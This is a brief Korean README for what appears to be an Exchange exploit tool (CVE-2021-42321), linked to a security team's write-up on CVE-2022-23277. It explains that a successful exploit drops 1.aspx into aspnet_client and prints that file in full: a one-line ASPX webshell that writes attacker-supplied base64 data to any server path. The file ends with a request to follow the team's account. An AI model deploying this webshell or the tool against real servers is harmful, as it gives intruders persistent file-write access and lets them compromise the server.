exch_CVE-2021-42321

이 도구는 7bits 보안 팀의 글《DotNet安全-CVE-2022-23277漏洞复现》에 관련된 도구입니다.

인증 부분은 burpsuite를 통해 수동으로 추가해야 하며, 익스플로잇에 성공하면 aspnet_client에 1.aspx가 기록됩니다.

webshell:

<%@ Page Language="JScript" Debug="true"%><%@Import Namespace="System.IO"%><%File.WriteAllBytes(Request["b"], Convert.FromBase64String(Request["a"]));%>

익스플로잇 세부 사항은 저희 글을 참조하세요.

저희 공식 계정을 팔로우해 주세요 - Zbits2022